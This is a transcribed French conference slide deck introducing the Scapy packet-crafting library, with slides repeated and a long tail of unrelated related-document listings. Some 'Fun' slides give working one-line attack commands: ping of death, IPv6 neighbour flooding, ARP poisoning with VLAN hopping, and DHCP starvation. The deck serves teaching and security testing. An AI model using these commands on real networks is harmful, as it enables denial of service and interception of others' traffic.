Introduction Présentation de scapy. Scapy. Easy Packet Handling. Etienne Maynier. Capitole du Libre 24 Novembre 2012
|
|
|
- Berenice Knight
- 8 years ago
- Views:
Transcription
1 Easy Packet Handling Capitole du Libre 24 Novembre 2012
2 Manipulation de paquets : Pour des tests réseau Pour de l éducation Principalement pour des tests de sécurité Développé par Philippe Biondi, chercheur chez EADS Innovation Work Distributé sous GPLv2
3 Pourquoi?
4 Pourquoi scapy? (1/2) Des limitations Difficile de faire exactement le paquet que l on veut : Valeur précise de checksum / d id / de padding? Le système peut intervenir (réassemblage, mauvaise version IP...) Peu de protocoles en dehors de TCP/UDP/ICMP Limité à l imagination de l auteur Des interfaces peu intuitives Exemple : hping3 hping3 --icmp icmp-cksum 0 --icmp-ipid 42 hping3 -S -R p 80 -s M 42 -o 12 -y
5 Pourquoi scapy? (1/2) Des limitations Difficile de faire exactement le paquet que l on veut : Valeur précise de checksum / d id / de padding? Le système peut intervenir (réassemblage, mauvaise version IP...) Peu de protocoles en dehors de TCP/UDP/ICMP Limité à l imagination de l auteur Des interfaces peu intuitives Exemple : hping3 hping3 --icmp icmp-cksum 0 --icmp-ipid 42 hping3 -S -R p 80 -s M 42 -o 12 -y
6 Pourquoi scapy? (2/2) Peu réutilisables Une boite à outil longue et pas combinable. Ex : arpspoof VLAN hopping Impossible de faire du arpspoof via VLAN hopping Décoder / Interpréter Interesting ports on : PORT STATE SERVICE 22/tcp filtered ssh Mauvaise interprétation : ICMP Host Unreachable reçu
7 Pourquoi scapy? (2/2) Peu réutilisables Une boite à outil longue et pas combinable. Ex : arpspoof VLAN hopping Impossible de faire du arpspoof via VLAN hopping Décoder / Interpréter Interesting ports on : PORT STATE SERVICE 22/tcp filtered ssh Mauvaise interprétation : ICMP Host Unreachable reçu
8 Principes Rapide Des valeurs par défaut utiles Intégré dans python Extensible Décode mais n interprète pas Exemple >>> pkt = IP(dst=" ") / ICMP() / "Hello World" >>> pkt.summary() IP / ICMP > echo-request 0 / Raw >>> res =sr(pkt) Begin emission:.finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> res[0].summary() IP / ICMP > echo-request 0 / Raw ==> IP / ICMP > echo-reply 0 / Raw
![finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> res[0].summary() IP / ICMP 192.168.1.64 > 192.](/docs-images/45/6304877/images/page_8.jpg "168.1.1 echo-request 0 / Raw ==> IP / ICMP 192.168.1.1 > 192.168.1.64 echo-reply 0 / Raw")
9 Principes Rapide Des valeurs par défaut utiles Intégré dans python Extensible Décode mais n interprète pas Exemple >>> pkt = IP(dst=" ") / ICMP() / "Hello World" >>> pkt.summary() IP / ICMP > echo-request 0 / Raw >>> res =sr(pkt) Begin emission:.finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> res[0].summary() IP / ICMP > echo-request 0 / Raw ==> IP / ICMP > echo-reply 0 / Raw
![finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> res[0].summary() IP / ICMP 192.168.1.64 > 192.](/docs-images/45/6304877/images/page_9.jpg "168.1.1 echo-request 0 / Raw ==> IP / ICMP 192.168.1.1 > 192.168.1.64 echo-reply 0 / Raw")
10 Fonctionnalités Envoi couche 2 & 3 send(ip(dst= ) / ICMP()) sendp(ether(dst= 08 :11 :96 :f6 :42 :12 )/IP(dst= ) / ICMP()) Sniff avancé pkts = sniff(count=10) pkts = sniff(filter="icmp and host ", count = 2) pkts = sniff(lfilter=lambda(p): p.haslayer(tcp) and p.haslayer(http)) Gestion de pcaps pkts=rdpcap("captures/snmp.cap") wrpcap("temp.cap",pkts) Fuzzing basique pkt = fuzz(ip()) pkt = IP() / fuzz(icmp(type="echo-request")
11 Fonctionnalités Envoi couche 2 & 3 send(ip(dst= ) / ICMP()) sendp(ether(dst= 08 :11 :96 :f6 :42 :12 )/IP(dst= ) / ICMP()) Sniff avancé pkts = sniff(count=10) pkts = sniff(filter="icmp and host ", count = 2) pkts = sniff(lfilter=lambda(p): p.haslayer(tcp) and p.haslayer(http)) Gestion de pcaps pkts=rdpcap("captures/snmp.cap") wrpcap("temp.cap",pkts) Fuzzing basique pkt = fuzz(ip()) pkt = IP() / fuzz(icmp(type="echo-request")
12 Fonctionnalités Envoi couche 2 & 3 send(ip(dst= ) / ICMP()) sendp(ether(dst= 08 :11 :96 :f6 :42 :12 )/IP(dst= ) / ICMP()) Sniff avancé pkts = sniff(count=10) pkts = sniff(filter="icmp and host ", count = 2) pkts = sniff(lfilter=lambda(p): p.haslayer(tcp) and p.haslayer(http)) Gestion de pcaps pkts=rdpcap("captures/snmp.cap") wrpcap("temp.cap",pkts) Fuzzing basique pkt = fuzz(ip()) pkt = IP() / fuzz(icmp(type="echo-request")
13 Fonctionnalités Envoi couche 2 & 3 send(ip(dst= ) / ICMP()) sendp(ether(dst= 08 :11 :96 :f6 :42 :12 )/IP(dst= ) / ICMP()) Sniff avancé pkts = sniff(count=10) pkts = sniff(filter="icmp and host ", count = 2) pkts = sniff(lfilter=lambda(p): p.haslayer(tcp) and p.haslayer(http)) Gestion de pcaps pkts=rdpcap("captures/snmp.cap") wrpcap("temp.cap",pkts) Fuzzing basique pkt = fuzz(ip()) pkt = IP() / fuzz(icmp(type="echo-request")
14 !
15 Fun Ping of death send( fragment(ip(dst= )/ICMP()/( X *60000)) ) IPv6 Neighbour Advertisement Flooding send(ipv6(src=randip6()) / ICMPv6ND NA(tgt=RandIP6()) / ICMPv6NDOptDstLLAddr(lladdr=RandMAC()), loop=1) ARP Poisoning sendp(ether(dst=clientmac)/arp(op= who-has, psrc=gateway, pdst=client),inter=randnum(10,40),loop=1) ARP Poisoning with VLAN Hopping sendp(ether(dst=clientmac)/dot1q(vlan=1)/dot1q(vlan=2) /ARP(op= who-has, psrc=gateway, pdst=client), inter=randnum(10,40), loop=1 )
16 Fun Ping of death send( fragment(ip(dst= )/ICMP()/( X *60000)) ) IPv6 Neighbour Advertisement Flooding send(ipv6(src=randip6()) / ICMPv6ND NA(tgt=RandIP6()) / ICMPv6NDOptDstLLAddr(lladdr=RandMAC()), loop=1) ARP Poisoning sendp(ether(dst=clientmac)/arp(op= who-has, psrc=gateway, pdst=client),inter=randnum(10,40),loop=1) ARP Poisoning with VLAN Hopping sendp(ether(dst=clientmac)/dot1q(vlan=1)/dot1q(vlan=2) /ARP(op= who-has, psrc=gateway, pdst=client), inter=randnum(10,40), loop=1 )
17 Fun Ping of death send( fragment(ip(dst= )/ICMP()/( X *60000)) ) IPv6 Neighbour Advertisement Flooding send(ipv6(src=randip6()) / ICMPv6ND NA(tgt=RandIP6()) / ICMPv6NDOptDstLLAddr(lladdr=RandMAC()), loop=1) ARP Poisoning sendp(ether(dst=clientmac)/arp(op= who-has, psrc=gateway, pdst=client),inter=randnum(10,40),loop=1) ARP Poisoning with VLAN Hopping sendp(ether(dst=clientmac)/dot1q(vlan=1)/dot1q(vlan=2) /ARP(op= who-has, psrc=gateway, pdst=client), inter=randnum(10,40), loop=1 )
18 Fun Ping of death send( fragment(ip(dst= )/ICMP()/( X *60000)) ) IPv6 Neighbour Advertisement Flooding send(ipv6(src=randip6()) / ICMPv6ND NA(tgt=RandIP6()) / ICMPv6NDOptDstLLAddr(lladdr=RandMAC()), loop=1) ARP Poisoning sendp(ether(dst=clientmac)/arp(op= who-has, psrc=gateway, pdst=client),inter=randnum(10,40),loop=1) ARP Poisoning with VLAN Hopping sendp(ether(dst=clientmac)/dot1q(vlan=1)/dot1q(vlan=2) /ARP(op= who-has, psrc=gateway, pdst=client), inter=randnum(10,40), loop=1 )
19 Fun (2/2) DHCP Starvation sendp(ether(src=randmac(),dst="ff:ff:ff:ff:ff:ff")/ip(src=" ",dst=" ") /UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12, abcdef )) /DHCP(options=[("message-type","discover"),"end"])) Scan de protocoles IP res,unans = sr( IP(dst="target", proto=(0,255))/"xx" ) Scan de Protocole IP avec TTL fixe res,unans = sr( IP(dst="target", proto=(0,255), ttl=7)/"xx",retry=-2 )
![/DHCP(options=[("message-type","discover"),"end"])) Scan de protocoles IP res,unans = sr(](/docs-images/45/6304877/images/page_19.jpg "IP(dst=\"target\", proto=(0,255))/\"xx\" ) Scan de Protocole IP avec TTL fixe res,unans = sr(")
20 Fun (2/2) DHCP Starvation sendp(ether(src=randmac(),dst="ff:ff:ff:ff:ff:ff")/ip(src=" ",dst=" ") /UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12, abcdef )) /DHCP(options=[("message-type","discover"),"end"])) Scan de protocoles IP res,unans = sr( IP(dst="target", proto=(0,255))/"xx" ) Scan de Protocole IP avec TTL fixe res,unans = sr( IP(dst="target", proto=(0,255), ttl=7)/"xx",retry=-2 )
![/DHCP(options=[("message-type","discover"),"end"])) Scan de protocoles IP res,unans = sr(](/docs-images/45/6304877/images/page_20.jpg "IP(dst=\"target\", proto=(0,255))/\"xx\" ) Scan de Protocole IP avec TTL fixe res,unans = sr(")
21 Fun (2/2) DHCP Starvation sendp(ether(src=randmac(),dst="ff:ff:ff:ff:ff:ff")/ip(src=" ",dst=" ") /UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12, abcdef )) /DHCP(options=[("message-type","discover"),"end"])) Scan de protocoles IP res,unans = sr( IP(dst="target", proto=(0,255))/"xx" ) Scan de Protocole IP avec TTL fixe res,unans = sr( IP(dst="target", proto=(0,255), ttl=7)/"xx",retry=-2 )
22 Add-ons Exemple d intégration de scapy dans un script maison 1 #! /usr/bin/env python 2 3 # Set log level to benefit from warnings 4 import logging 5 logging. getlogger( scapy ). setlevel(1) 6 7 from scapy.all import 8 9 class Test(Packet) : 10 name = Test packet 11 fields_desc = [ ShortField( test1, 1), 12 ShortField( test2, 2) ] def make_test(x,y) : 15 return Ether()/IP()/Test(test1=x,test2=y) if name == main : 18 interact(mydict=globals(), mybanner= Test add on v3.14 )
23 Implémenter de nouveaux protocoles OSPF 1 class OSPF_Hdr(Packet) : 2 name = OSPF Header 3 fields_desc = [ 4 ByteField( version, 2), 5 ByteEnumField( type, 1, _OSPF_types), 6 ShortField( len, None), 7 IPField( src, ), 8 IPField( area, ), # default : backbone 9 XShortField( chksum, None), 10 ShortEnumField( authtype, 0, {0: Null, 1: Simple, 2: Crypto }), 11 # Null or Simple Authentication 12 ConditionalField(XLongField( authdata, 0), lambda pkt :pkt. authtype!= 2), 13 # Crypto Authentication 14 ConditionalField(XShortField( reserved, 0), lambda pkt :pkt. authtype == 2), 15 ConditionalField(ByteField( keyid, 1), lambda pkt :pkt. authtype == 2), 16 ConditionalField(ByteField( authdatalen, 0), lambda pkt :pkt. authtype == 2), 17 ConditionalField(XIntField( seq, 0), lambda pkt :pkt. authtype == 2), 18 ]
24 Questions Questions?
25 Références Doc : Bug Tracker : Network packet forgery with, Philippe Biondi, PacSec 2005 and IPv6 Networking, Philippe Biondi & Arnaud Ebalard, HITB 2006
Python Scripting with Scapy
Copyright: The development of this document is funded by Higher Education of Academy. Permission is granted to copy, distribute and /or modify this document under a license compliant with the Creative
Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail
![Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail](/thumbs/26/8252225.jpg "Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail")
Hacking Techniques & Intrusion Detection Ali Al-Shemery arabnix [at] gmail All materials is licensed under a Creative Commons Share Alike license. http://creativecommons.org/licenses/by-sa/3.0/ 2 # whoami
Why use Scapy? Blue Team. Red Team. Test IDS/IPS Test Firewall Learn more about TCP/IP (down and dirty) Application response(fuzzing)
Scapy What is Scapy Why use Scapy? Important concepts to keep in mind Crafting your first packet Sending and Receiving Packets/Frames Basic examples and dealing with the OS's TCP/IP stack using iptables
Packet generation and network based attacks with Scapy
Packet generation and network based attacks with phil@secdev.org / philippe.biondi@eads.net Corporate Research Center SSI Department Suresnes, FRANCE CanSecWest/core05, May 4-6, 2005 Packet generation
Internet Protocol: IP packet headers. vendredi 18 octobre 13
Internet Protocol: IP packet headers 1 IPv4 header V L TOS Total Length Identification F Frag TTL Proto Checksum Options Source address Destination address Data (payload) Padding V: Version (IPv4 ; IPv6)
Scapy. On-the-fly Packet Generation by codemonk@u-sys.org. Dienstag, 10. Januar 12
Scapy On-the-fly Packet Generation by codemonk@u-sys.org 1 Overview Repetition of network basics Python Basics Scapy Basics Example: SYN Scan Hands-on: Traceroute Promiscuous Scan ARP Spoofing 2 Layers
Network packet forgery with Scapy
Philippe BIONDI Network packet forgery with 1/109 Network packet forgery with Philippe BIONDI phil(at)secdev.org / philippe.biondi(at)eads.net EADS Corporate Research Center SSI Department Suresnes, FRANCE
Scanning Tools. Scan Types. Network sweeping - Basic technique used to determine which of a range of IP addresses map to live hosts.
Scanning Tools The goal of the scanning phase is to learn more information about the target environment and discover openings by interacting with that target environment. This paper will look at some of
Brest. Backup : copy flash:ppe_brest1 running-config
Brest Backup : copy flash:ppe_brest1 running-config Cisco SF300-08 Mise en place des services : - Serveurs : 10.3.50.0/24 VLAN 2 (port 1) - DSI : 10.3.51.0/24 VLAN 3 (port 2) - Direction : 10.3.52.0/24
Innominate mguard Version 6
Innominate mguard Version 6 Application Note: Firewall Logging mguard smart mguard PCI mguard blade mguard industrial RS EAGLE mguard mguard delta Innominate Security Technologies AG Albert-Einstein-Str.
Configure a Microsoft Windows Workstation Internal IP Stateful Firewall
70 Lab #5 Lab #5 Assessment Spreadsheet A Review the default settings for Windows Firewall on your student workstation and indicate your settings below: GENERAL Recommended (Firewall On/Off) Don t Allow
Network Packet Analysis and Scapy Introduction
Copyright: The development of this document is funded by Higher Education of Academy. Permission is granted to copy, distribute and /or modify this document under a license compliant with the Creative
CSE 127: Computer Security. Network Security. Kirill Levchenko
CSE 127: Computer Security Network Security Kirill Levchenko December 4, 2014 Network Security Original TCP/IP design: Trusted network and hosts Hosts and networks administered by mutually trusted parties
TP : Configuration de routeurs CISCO
TP : Configuration de routeurs CISCO Sovanna Tan Novembre 2010 révision décembre 2012 1/19 Sovanna Tan TP : Routeurs CISCO Plan 1 Présentation du routeur Cisco 1841 2 Le système d exploitation /19 Sovanna
Network layer: Overview. Network layer functions IP Routing and forwarding
Network layer: Overview Network layer functions IP Routing and forwarding 1 Network layer functions Transport packet from sending to receiving hosts Network layer protocols in every host, router application
Thursday, February 7, 2013. DOM via PHP
DOM via PHP Plan PHP DOM PHP : Hypertext Preprocessor Langage de script pour création de pages Web dynamiques Un ficher PHP est un ficher HTML avec du code PHP
«Object-Oriented Multi-Methods in Cecil» Craig Chambers (Cours IFT6310, H08)
«Object-Oriented Multi-Methods in Cecil» Craig Chambers (Cours IFT6310, H08) Mathieu Lemoine 2008/02/25 Craig Chambers : Professeur à l Université de Washington au département de Computer Science and Engineering,
Firewall implementation and testing
Firewall implementation and testing Patrik Ragnarsson, Niclas Gustafsson E-mail: ragpa737@student.liu.se, nicgu594@student.liu.se Supervisor: David Byers, davby@ida.liu.se Project Report for Information
WiNG 5.X How To. Policy Based Routing Cache Redirection. Part No. TME-05-2012-01 Rev. A
WiNG 5.X How To Policy Based Routing Cache Redirection Part No. TME-05-2012-01 Rev. A MOTOROLA, MOTO, MOTOROLA SOLUTIONS and the Stylized M Logo are trademarks or registered trademarks of Motorola Trademark
IP addressing and forwarding Network layer
The Internet Network layer Host, router network layer functions: IP addressing and forwarding Network layer Routing protocols path selection RIP, OSPF, BGP Transport layer: TCP, UDP forwarding table IP
Firewalls N E T W O R K ( A N D D ATA ) S E C U R I T Y 2 01 5 / 2 01 6 P E D R O B R A N D Ã O M A N U E L E D U A R D O C O R R E I A
Firewalls N E T W O R K ( A N D D ATA ) S E C U R I T Y 2 01 5 / 2 01 6 P E D R O B R A N D Ã O M A N U E L E D U A R D O C O R R E I A Slides are based on slides by Dr Lawrie Brown (UNSW@ADFA) for Computer
IPv6 Workshop: Location Date Security Trainer Name
: Location Date Trainer Name 1/6 Securing the servers 1 ) Boot on linux, check that the IPv6 connectivity is fine. 2 ) From application hands-on, a web server should be running on your host. Add filters
Networks: IP and TCP. Internet Protocol
Networks: IP and TCP 11/1/2010 Networks: IP and TCP 1 Internet Protocol Connectionless Each packet is transported independently from other packets Unreliable Delivery on a best effort basis No acknowledgments
Recent advances in IPv6 insecurities Marc van Hauser Heuse Deepsec 2010, Vienna. 2010 Marc Heuse <mh@mh-sec.de>
Recent advances in IPv6 insecurities Marc van Hauser Heuse Deepsec 2010, Vienna 2010 Marc Heuse Hello, my name is The future is here already Let s start with the basics IPv4 4 octets 4.294.967.296
Packet filtering with Linux
LinuxFocus article number 289 http://linuxfocus.org Packet filtering with Linux by Vincent Renardias About the author: GNU/Linux user since 1993, Vincent Renardias started to
CSCI 7000-001 Firewalls and Packet Filtering
CSCI 7000-001 Firewalls and Packet Filtering November 1, 2001 Firewalls are the wrong approach. They don t solve the general problem, and they make it very difficult or impossible to do many things. On
Lab 2. CS-335a. Fall 2012 Computer Science Department. Manolis Surligas surligas@csd.uoc.gr
Lab 2 CS-335a Fall 2012 Computer Science Department Manolis Surligas surligas@csd.uoc.gr 1 Summary At this lab we will cover: Basics of Transport Layer (TCP, UDP) Broadcast ARP DNS More Wireshark filters
Durée 4 jours. Pré-requis
F5 - BIG-IP Application Security Manager V11.0 Présentation du cours Ce cours traite des attaques applicatives orientées Web et de la façon d utiliser Application Security Manager (ASM) pour s en protéger.
Introduction to Analyzer and the ARP protocol
Laboratory 6 Introduction to Analyzer and the ARP protocol Objetives Network monitoring tools are of interest when studying the behavior of network protocols, in particular TCP/IP, and for determining
Network Protocol Security Testing. George Neville-Neil Consultant. Packet Construction Set
Network Protocol Security Testing with the George Neville-Neil Consultant 1 The Problem Writing network protocol code is hard Testing network protocols is as hard as writing the protocol in the first place
CCT vs. CCENT Skill Set Comparison
Operation of IP Data Networks Recognize the purpose and functions of various network devices such as Routers, Switches, Bridges and Hubs Select the components required to meet a given network specification
A denial of service attack against the Open Floodlight SDN controller
A denial of service attack against the Open Floodlight SDN controller Jeremy M. Dover Dover Networks LLC jeremy@dovernetworks.com Open Floodlight is an open-source software-defined network controller,
Troubleshooting Tools
Troubleshooting Tools An overview of the main tools for verifying network operation from a host Fulvio Risso Mario Baldi Politecnico di Torino (Technical University of Turin) see page 2 Notes n The commands/programs
Introduction à OpenSSH
Rémi Laurent remi.laurent@fsugar.be http://www.fsugar.be/ 12 avril 2008 OpenSSH? Open Secure SHell Shell (ligne de commande) distant alternative au logiciel SSH de Tatu Ylönen développé par le projet OpenBSD
Guide to Network Defense and Countermeasures Third Edition. Chapter 2 TCP/IP
Guide to Network Defense and Countermeasures Third Edition Chapter 2 TCP/IP Objectives Explain the fundamentals of TCP/IP networking Describe IPv4 packet structure and explain packet fragmentation Describe
Network Traffic Analysis
2013 Network Traffic Analysis Gerben Kleijn and Terence Nicholls 6/21/2013 Contents Introduction... 3 Lab 1 - Installing the Operating System (OS)... 3 Lab 2 Working with TCPDump... 4 Lab 3 - Installing
8.2 The Internet Protocol
TCP/IP Protocol Suite HTTP SMTP DNS RTP Distributed applications Reliable stream service TCP UDP User datagram service Best-effort connectionless packet transfer Network Interface 1 IP Network Interface
+ iptables. packet filtering && firewall
+ iptables packet filtering && firewall + what is iptables? iptables is the userspace command line program used to configure the linux packet filtering ruleset + a.k.a. firewall + iptable flow chart what?
https://elearn.zdresearch.com https://training.zdresearch.com/course/pentesting
https://elearn.zdresearch.com https://training.zdresearch.com/course/pentesting Chapter 1 1. Introducing Penetration Testing 1.1 What is penetration testing 1.2 Different types of test 1.2.1 External Tests
Subnetting,Supernetting, VLSM & CIDR
Subnetting,Supernetting, VLSM & CIDR WHAT - IP Address Unique 32 or 128 bit Binary, used to identify a system on a Network or Internet. Network Portion Host Portion CLASSFULL ADDRESSING IP address space
Internet Firewall CSIS 3230. Internet Firewall. Spring 2012 CSIS 4222. net13 1. Firewalls. Stateless Packet Filtering
Internet Firewall CSIS 3230 A combination of hardware and software that isolates an organization s internal network from the Internet at large Ch 8.8: Packet filtering, firewalls, intrusion detection Ch
Testing IPv6 Firewalls with ft6
Testing IPv6 Firewalls with ft6 Oliver Eggert IPv6 Security Summit @ TROOPERS14 March 17th, 2014 Outline 1 The beginnings 2 Design of ft6 3 Tests done by ft6 4 Live Demo 5 Testing ip6tables 6 Pitfalls
Mise en pratique : installation d'openvpn sur OpenWRT
Mise en pratique : installation d'openvpn sur OpenWRT OpenWRT est un système GNU/Linux opensource conçu pour le matériel réseau (principalement des routeurs et points d accès wi-fi) permettant l'ajout
IPV6 流 量 分 析 探 讨 北 京 大 学 计 算 中 心 周 昌 令
IPV6 流 量 分 析 探 讨 北 京 大 学 计 算 中 心 周 昌 令 1 内 容 流 量 分 析 简 介 IPv6 下 的 新 问 题 和 挑 战 协 议 格 式 变 更 用 户 行 为 特 征 变 更 安 全 问 题 演 化 流 量 导 出 手 段 变 化 设 备 参 考 配 置 流 量 工 具 总 结 2 流 量 分 析 简 介 流 量 分 析 目 标 who, what, where,
TCP/IP Security Problems. History that still teaches
TCP/IP Security Problems History that still teaches 1 remote login without a password rsh and rcp were programs that allowed you to login from a remote site without a password The.rhosts file in your home
IP(v6) security. Matěj Grégr. Brno University of Technology, Faculty of Information Technology. Slides adapted from Ing.
IP(v6) security Matěj Grégr Brno University of Technology, Faculty of Information Technology Slides adapted from Ing. Tomáš Podermański What is IP security? Encryption? Authentication? Authorization? Surveillance?
Understanding and Configuring NAT Tech Note PAN-OS 4.1
Understanding and Configuring NAT Tech Note PAN-OS 4.1 Revision C 2012, Palo Alto Networks, Inc. www.paloaltonetworks.com Contents Overview... 3 Scope... 3 Design Consideration... 3 Software requirement...
CCNP v2 Eğitimi İçeriği
Öngereksinimler: CCNA http://www.cliguru.com/ccna Kurs Tanımı: CCNP v2 Eğitimi İçeriği Giriş seviyesi network bilgilerine sahip katılımcıları network'ün temeli olan Routing Switching alanında orta üst
What is a DoS attack?
CprE 592-YG Computer and Network Forensics Log-based Signature Analysis Denial of Service Attacks - from analyst s point of view Yong Guan 3216 Coover Tel: (515) 294-8378 Email: guan@ee.iastate.edu October
How to protect your home/office network?
How to protect your home/office network? Using IPTables and Building a Firewall - Background, Motivation and Concepts Adir Abraham adir@vipe.technion.ac.il Do you think that you are alone, connected from
Internetworking. Problem: There is more than one network (heterogeneity & scale)
Internetworking Problem: There is more than one network (heterogeneity & scale) Hongwei Zhang http://www.cs.wayne.edu/~hzhang Internetworking: Internet Protocol (IP) Routing and scalability Group Communication
ModScan A SCADA MODBUS Network Scanner. Mark Bristow mark.bristow@gmail.com
ModScan A SCADA MODBUS Network Scanner Mark Bristow mark.bristow@gmail.com Agenda Brief introduction to SCADA Systems The MODBUS Protocol MODBUS TCP ModScan Demonstration ModScan Project Information Q&A
PAN-OS Syslog Integration
PAN-OS Syslog Integration Tech Note Revision M 2012, Palo Alto Networks, Inc. www.paloaltonetworks.com Contents Log Formats...3 TRAFFIC...3 Descriptions...3 Subtype Field...5 Action Field...6 Flags Field...6
Attacking the TCP Reassembly Plane of Network Forensics Tools
Attacking the TCP Reassembly Plane of Network Forensics Tools Gérard 12 Thomas Engel 1 1 University of Luxembourg - SECAN LAB 2 SES ASTRA Outline Introduction Definitions and terminology A PCAP file contains
LAB II: Securing The Data Path and Routing Infrastructure
LAB II: Securing The Data Path and Routing Infrastructure 8. Create Packet Filters a. Create a packet filter which will deny packets that have obviously bogus IP source addresses but permit everything
IP - The Internet Protocol
Orientation IP - The Internet Protocol IP (Internet Protocol) is a Network Layer Protocol. IP s current version is Version 4 (IPv4). It is specified in RFC 891. TCP UDP Transport Layer ICMP IP IGMP Network
----------------------------------------------------------------------------------------------------------------------
The basic commands for the firewall: 1. Command firewalllog -- To check the firewall logs and to find out source, destination, ports, request is passing or blocking and matching firewall rule no. etc superuser@securegate
CS5008: Internet Computing
CS5008: Internet Computing Lecture 22: Internet Security A. O Riordan, 2009, latest revision 2015 Internet Security When a computer connects to the Internet and begins communicating with others, it is
netkit lab MPLS VPNs with overlapping address spaces 1.0 S.Filippi, L.Ricci, F.Antonini Version Author(s)
netkit lab MPLS VPNs with overlapping address spaces Version Author(s) 1.0 S.Filippi, L.Ricci, F.Antonini E-mail Web Description silvia.filippi@kaskonetworks.it http://www.kaksonetworks.it/ A lab showing
FIREWALLS. Firewall: isolates organization s internal net from larger Internet, allowing some packets to pass, blocking others
FIREWALLS FIREWALLS Firewall: isolates organization s internal net from larger Internet, allowing some packets to pass, blocking others FIREWALLS: WHY Prevent denial of service attacks: SYN flooding: attacker
Security Technology White Paper
Security Technology White Paper Issue 01 Date 2012-10-30 HUAWEI TECHNOLOGIES CO., LTD. 2012. All rights reserved. No part of this document may be reproduced or transmitted in any form or by any means without
Policy Based Forwarding
Policy Based Forwarding Tech Note PAN-OS 4.1 Revision A 2012, Palo Alto Networks, Inc. www.paloaltonetworks.com Contents Overview... 3 Security... 3 Performance... 3 Symmetric Routing... 3 Service Versus
Introduction ToIP/Asterisk Quelques applications Trixbox/FOP Autres distributions Conclusion. Asterisk et la ToIP. Projet tuteuré
Asterisk et la ToIP Projet tuteuré Luis Alonso Domínguez López, Romain Gegout, Quentin Hourlier, Benoit Henryon IUT Charlemagne, Licence ASRALL 2008-2009 31 mars 2009 Asterisk et la ToIP 31 mars 2009 1
Host Fingerprinting and Firewalking With hping
Host Fingerprinting and Firewalking With hping Naveed Afzal National University Of Computer and Emerging Sciences, Lahore, Pakistan Email: 1608@nu.edu.pk Naveedafzal gmail.com Abstract: The purpose
Chapter 13 Internet Protocol (IP)
Chapter 13 Internet Protocol (IP) Introduction... 13-5 IP Packets... 13-5 Addressing... 13-7 Subnets... 13-8 Assigning an IP Address... 13-9 Multihoming... 13-11 Local Interfaces... 13-11 Address Resolution
Troubleshooting the Firewall Services Module
CHAPTER 25 This chapter describes how to troubleshoot the FWSM, and includes the following sections: Testing Your Configuration, page 25-1 Reloading the FWSM, page 25-6 Performing Password Recovery, page
Netflow Gamme de Produits Netflow, ntop, nprobe, Nbar NetFlow Analyzer Solarwinds Cisco NetFlow Orion Netflow Traffic Analyzer Intégration avec Orion NPM 2 K à 12 K Live Demo: http://npmv7.solarwinds.net/login.asp
Computer Networks 1 (Mạng Máy Tính 1) Lectured by: Dr. Phạm Trần Vũ
Computer Networks 1 (Mạng Máy Tính 1) Lectured by: Dr. Phạm Trần Vũ 1 Lecture 7: Network Layer in the Internet Reference: Chapter 5 - Computer Networks, Andrew S. Tanenbaum, 4th Edition, Prentice Hall,
Firewalls (IPTABLES)
Firewalls (IPTABLES) Objectives Understand the technical essentials of firewalls. Realize the limitations and capabilities of firewalls. To be familiar with iptables firewall. Introduction: In the context
How To Set Up An Ip Firewall On Linux With Iptables (For Ubuntu) And Iptable (For Windows)
Security principles Firewalls and NAT These materials are licensed under the Creative Commons Attribution-Noncommercial 3.0 Unported license (http://creativecommons.org/licenses/by-nc/3.0/) Host vs Network
ft6 Motivation next step: perform the tests usually tedious, error prone work aided by a tool easily repeatable enter ft6 ft6
ft6 Motivation next step: perform the tests usually tedious, error prone work aided by a tool easily repeatable enter ft6 Oliver Eggert (Universität Potsdam) ft6: firewall tester for IPv6 Folie 1 von 25
RAPPORT FINANCIER ANNUEL PORTANT SUR LES COMPTES 2014
RAPPORT FINANCIER ANNUEL PORTANT SUR LES COMPTES 2014 En application de la loi du Luxembourg du 11 janvier 2008 relative aux obligations de transparence sur les émetteurs de valeurs mobilières. CREDIT
Network Security. Topology. Spring 2014. This is the logical topology of the network environment used for testing.
Course: 1DV447 Advanced LAN Technologies Network Security Spring 2014 Topology This is the logical topology of the network environment used for testing. 1/ Introduction The area i want to focus on is network
Tutorial: Options for Blackhole and Discard Routing. Joseph M. Soricelli Wayne Gustavus NANOG 32, Reston, Virginia
Tutorial: Options for Blackhole and Discard Routing Joseph M. Soricelli Wayne Gustavus NANOG 32, Reston, Virginia Caveats and Assumptions The views presented here are those of the authors and they do not
Audit de sécurité avec Backtrack 5
Audit de sécurité avec Backtrack 5 DUMITRESCU Andrei EL RAOUSTI Habib Université de Versailles Saint-Quentin-En-Yvelines 24-05-2012 UVSQ - Audit de sécurité avec Backtrack 5 DUMITRESCU Andrei EL RAOUSTI
Lecture 17 - Network Security
Lecture 17 - Network Security CMPSC 443 - Spring 2012 Introduction Computer and Network Security Professor Jaeger www.cse.psu.edu/~tjaeger/cse443-s12/ Idea Why donʼt we just integrate some of these neat
Outline. CSc 466/566. Computer Security. 18 : Network Security Introduction. Network Topology. Network Topology. Christian Collberg
Outline Network Topology CSc 466/566 Computer Security 18 : Network Security Introduction Version: 2012/05/03 13:59:29 Department of Computer Science University of Arizona collberg@gmail.com Copyright
Network Layer: and Multicasting. 21.1 Copyright The McGraw-Hill Companies, Inc. Permission required for reproduction or display.
Chapter 21 Network Layer: Address Mapping, Error Reporting, and Multicasting 21.1 Copyright The McGraw-Hill Companies, Inc. Permission required for reproduction or display. 21-1 ADDRESS MAPPING The delivery
Firewall Firewall August, 2003
Firewall August, 2003 1 Firewall and Access Control This product also serves as an Internet firewall, not only does it provide a natural firewall function (Network Address Translation, NAT), but it also
Overview of TCP/IP. TCP/IP and Internet
Overview of TCP/IP System Administrators and network administrators Why networking - communication Why TCP/IP Provides interoperable communications between all types of hardware and all kinds of operating
IPv6 Diagnostic and Troubleshooting
8 IPv6 Diagnostic and Troubleshooting Contents Introduction.................................................. 8-2 ICMP Rate-Limiting........................................... 8-2 Ping for IPv6 (Ping6)..........................................
Internet Protocol Version 6 (IPv6)
